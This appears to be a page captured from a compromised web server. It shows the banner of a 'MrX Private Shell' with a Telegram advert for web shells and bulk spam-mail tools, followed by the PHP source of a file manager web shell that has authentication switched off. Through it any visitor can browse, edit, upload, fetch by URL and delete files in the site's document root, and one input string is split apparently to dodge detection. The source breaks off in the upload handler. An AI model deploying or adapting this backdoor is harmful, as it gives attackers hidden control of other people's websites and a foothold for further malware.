__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

gettoplisting@216.73.216.158: ~ $
tmp/phpXuurCH000060000000560461151057102350007160 0ustar00<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.9');

define('APP_TITLE', 'gilour');

$dauth = false;

$auth_users = array(
    'admin' => '3085dc7572beea5231d9d6b6fb8f80c3',
    'user' => '3085dc7572beea5231d9d6b6fb8f80c3'
);

$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
    or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

